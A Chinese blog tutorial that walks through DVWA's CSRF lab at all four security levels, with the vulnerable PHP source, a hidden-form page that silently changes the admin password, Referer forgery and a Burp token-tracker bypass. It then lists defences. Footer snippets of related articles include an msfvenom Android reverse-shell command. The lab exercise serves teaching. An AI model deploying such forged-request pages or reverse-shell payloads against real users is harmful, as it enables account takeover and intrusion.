代码编织梦想

前言

CSRF的概念:

    CSRF,跨站请求伪造,Cross-site request forgery

User 网站A(被攻击站点) 网站B(发起攻击站点) 1.输入用户名密码Login 2.User合法,Set Cookie 3.没关闭网站A的情况下,打开网站B 4.偷偷让User访问网站A的某个URL,该URL能干某件事情 5.不知情的状态下,带着合法的cookie访问了网站A的特定URL,干了某件事 User 网站A(被攻击站点) 网站B(发起攻击站点)

    受害者:用户在当前已登录的Web应用程序上执行非本意的操作。
    攻击者:攻击者欺骗浏览器,让其以受害者的名义执行自己想要的操作。
(1)登录受信任网站A,并在本地生成Cookie。
(2)在不登出A的情况下,访问危险网站B(其实是利用了网站A的漏洞)。
在讲CSRF时,一定要把上面的两点说清楚。

CSRF与XSS的区别:

区别一
CSRF:需要用户先登录网站A,获取 cookie。XSS:不需要登录。
区别二:(原理的区别)
CSRF:是利用网站A本身的漏洞,去请求网站A的api。XSS:是向网站 A 注入 JS代码,然后执行 JS 里的代码,篡改网站A的内容。

一、low级别

查看源代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

    看到对输入的内容只有个mysql_real_escape_string() 函数,mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\
'
"
\x1a
    如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。除此之外,没有对用户的输入进行任何验证。
具体定义和用法请参考:
PHP mysql_real_escape_string() 函数.
    进入DVWA系统,输入admin/password,切换安全等级为low,进入CSRF模块
在这里插入图片描述
    正常操作,输入hello/hello,回显Password Changed
在这里插入图片描述
    logout后验证,原密码已无法登陆,密码改成了hello。
此过程:
    用户向浏览器输入新密码、确认新密码、点击提交;
    浏览器向服务端无操作、无操作、发送数据包,因此,本质是提交了表单。
    此时,再更改密码,将url复制下来
在这里插入图片描述
    那么,如果一个不太熟悉的朋友发送下面这个链接,你会点吗?

http://192.168.123.102/dvwa/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change#

    一般情况,不会点击,因为这个URL意图太明显了。那么,需要做什么变化吗?
进行伪装,包装一下,也就是重新构造HTML的过程。
将上面的链接分别将4行填入
并增加一个Click Me按钮,并保存为csrf.html文件

<html>
<body>
    <form action="http://192.168.43.133/dvwa/vulnerabilities/csrf/">
        <input type="hidden" name="password_new" value="hacker" />
        <input type="hidden" name="password_conf" value="hacker" />
        <input type="hidden" name="Change" value="Change" />
        <input type="submit" value="Click Me" />
    </form>
<body>
</html>

    此时,可以欺骗一个比较不太熟悉的朋友,例如
“兄弟,有美女视频/图片/好玩的。”
“好,我鉴赏一下。”
    logout后重新登录DVWA,验证用户名/密码是否admin/hacker。
在这里插入图片描述
    用户名/密码此时已经被神不知鬼不觉被修改为admin/hacker。
    那么,此时可以发现,黑客拿走了你的东西,远走高飞。(会被抓的!)

二、Medium级别

提交low级别csrf.html提交无效。
提示:That request didn’t look correct
意思就是:那个请求看起来不正确。
在这里插入图片描述

查看源代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

    这个if判断语句对referer进行了验证。

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

BurpSuite工具修改Referer

    同样,我们在点击csrf.html的时候,这里在burpsuite中进行抓包改包,把正常请求的referer复制进去。
在这里插入图片描述
    这时dvwa显示成功修改密码。
在这里插入图片描述
    logout后重新登录DVWA,验证用户名/密码确实被修改为:admin/hacker。

    虽然这里我通过BurpSuite来修改文件头,伪造了referer,但是在现实生活中,让被攻击者也就是受害者自己来改包,这是绝对不可能的!因此,用referer验证的方式其实很大程度上是可以防御CSRF的。

三、High级别

查看源代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

    High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
    多了user_token,而且每次修改密码,它都是变化的。
    因此,使用low和Medium的方法无效。

BurpSuite中的CSRF Token Tracker

    这里我利用burpsuite中的CSRF Token Tracker尝试绕过token验证。
    首先,先修改欺骗受害者的html代码,添加user_token:
在这里插入图片描述
    点击html文件后会提示CSRF token is incorrect:在这里插入图片描述
    打开burpsuite,安装CSRF Token Tracker
模板在这里插入图片描述
    再回到Repeater,重新发送密码修改包。
在这里插入图片描述
    在Repeater中重放包,由于user_token失效,返回302,密码修改失败。
在这里插入图片描述
    由于DVWA密码修改请求包中的CSRF TOKEN的名称和服务器响应包中一致,只需要填写Name即可。

    设置CSRF Token Tracker:添加一条规则,并勾选生效。
在这里插入图片描述
    再回到Repeater,重新发送密码修改包。
在这里插入图片描述
在这里插入图片描述
    密码修改成功!

    再次了解CSRF Token,是随机参数,保证了攻击者无法猜到所有参数。

四、Impossible级别

查看源代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

在这里插入图片描述

    Impossiable端代码添加了一个输入原来密码的操作,利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码,攻击者如果在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。

总结

防范方法
方法1:校验referer
方法2:随机Token
方法3:验证码

    本站所有文章均为原创,欢迎转载,请注明文章出处: https://blog.csdn.net/weixin_43847838/article/details/111306343.。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/weixin_43847838/article/details/111306343

最火的 Vue 前端框架,你用对了么?-爱代码爱编程

无论是 BAT 等大厂,还是小型初创公司,Vue 都有着广泛的应用,而 Vue 在前端开发中的火爆程度,毋庸置疑远超 React 和 Angular ,其相关技术原理也是面试的必考知识点。   因为基于 HTML 的模板语法,响应式的更新机制, Vue 可以让我们更快、更高效地开发项目;渐进式的开发理念和繁荣的生态圈,也给大家带来了很多实践体验。

html小游戏-消灭打病毒-爱代码爱编程

1、类似于红包雨的游戏,三种病毒往下落,然后用鼠标进行点击消灭病毒 2、鼠标是小救护车 游戏流程—点击start-----鼠标点击病毒,每种病毒分值不同----30秒后计算得分 代码 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-

Vue Router 4.0 正式发布!焕然一新。-爱代码爱编程

Vue Router 4 正式发布稳定版本。 在经历了 14 个 Alpha,13 个 Beta 和 6 个 RC 版本之后,Vue Router v4 闪亮登场,为你带来了 TypeScript 集成、新功能以及对现代应用程序的一致性改进,已经准备好成为 Vue3 新应用的最佳伴侣。 将近 2 年的时间,大约 1500 次提交,15 个RFC[

一个基于SpringBoot + Mybatis + Vue的代码生成器-爱代码爱编程

code-gen一款代码生成工具,可自定义模板生成不同的代码,支持MySQL、Oracle、SQL Server、PostgreSQL。 只需要一个Java8环境,下载后即可运行使用。步骤简单,只需配置一个数据源,然后勾选模板即可生成代码。默认提供了通用的实体类、mybatis接口、mybatis配置文件模板,可以快速开发mybatis应用。

如何使用ngrok内网穿透让外网可以访问你本地的Django网站-爱代码爱编程

当你使用Django在本地开发一个网站的时候,你希望转发给别人进行访问,但是又不想正式部署到服务器(毕竟部署也是挺麻烦的)。除此以外,有时本地测试还需要依赖https,比如OAuth身份验证和第三方支付应用。今天我要介绍的是一款叫Ngrok的免费软件,它通过本地端口映射轻松实现内网穿透,把localhost上运行的内容重定向到一个公共可用的ngrok

Vue 3 Watch 和 computed-爱代码爱编程

computed 与 watch computed 使用 getter 函数,并为从 getter 返回的值返回一个不变的响应式 ref 对象。 <template>   <div>     { { count }}   </div> </template> <script&g

Kali Linux配置apt-get 源为官方源-爱代码爱编程

Kali Linux配置apt-get 源为官方源 root@kali:~# vim /etc/apt/sources.list 最好用官方源 其他博主没有尝试 官方源 deb http://http.kali.org/kali kali-rolling main non-free contrib deb-src http://http.kali.

CVE_2019_0708成功复现RDP蓝屏重启win7sp1-爱代码爱编程

一、环境: 目标:windows7sp1 中文版,利用RDP协议导致目标蓝屏重启 二、设置(缺一不可): 1.关闭防火墙服务(否则会显示连接超时) 2.关闭自动更新服务 3.开启3389端口 4.允许远程协助 三、msf漏洞复现metasploit 1):查找漏洞 命令:search CVE_2019_0708 2):选择rank等级较

ms10-061打印后台程序服务远程代码执行漏洞 成功复现xp&win7-爱代码爱编程

漏洞介绍 Windows打印后台程序没有充分限制访问该服务的用户权限,攻击者可以通过提交特制的打印请求在windows系统目录(%SystemRoot%\system32)中创建文件。 攻击者可指定任意文件名,包括目录遍历,通过发送WritePrinter请求,攻击者可以完全控制创建文件的内容。 将文件写入到windows系统目录后,通过WMI来部署

wifi抓包解读(实战教程)-爱代码爱编程

ps:代码复制黏贴即可,有什么问题下方留言,博主会及时回复 !工具: 1:笔记本 2:USB无线网卡(必备) 3:kali系统 4:靠谱字典 暴力破解法: 何为暴力破解呢,其实就是一个一个密码试,直到正确的密码为止。 现在的wifi一般加密都是: 1、不启用安全‍‍‍‍ 2、WEP‍‍‍‍ 3、WPA/WPA2-PSK(预共享密钥)‍‍‍‍ 4、WPA/

msfconsole基础命令-爱代码爱编程

生成反弹木马命令msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.43.146 lport=55555 R > /home/111.apk 生成一个木马程序111.exe,没有添加任何免杀,很容易被安全软件检测出,这里先介绍一下参数信息 -a 设置目标的指令集架构,x86=32

sqlmap注入实战教程(图文详解)-爱代码爱编程

此教程使用靶场实战演示,仅供学习未经授权切勿用于非法用途 ! 1.发现此网址可能存在sql注入漏洞,我们进行sql盲注入测试一下是否存在漏洞。 地址栏输入 and 1=1 发现页面正常显示。再次输入and 1=2 页面出现错误,说明该页面可能存在sql注入漏洞2.现在拿出我们的kali工具,sqlmap进行注入测试。 sqlmap -u ht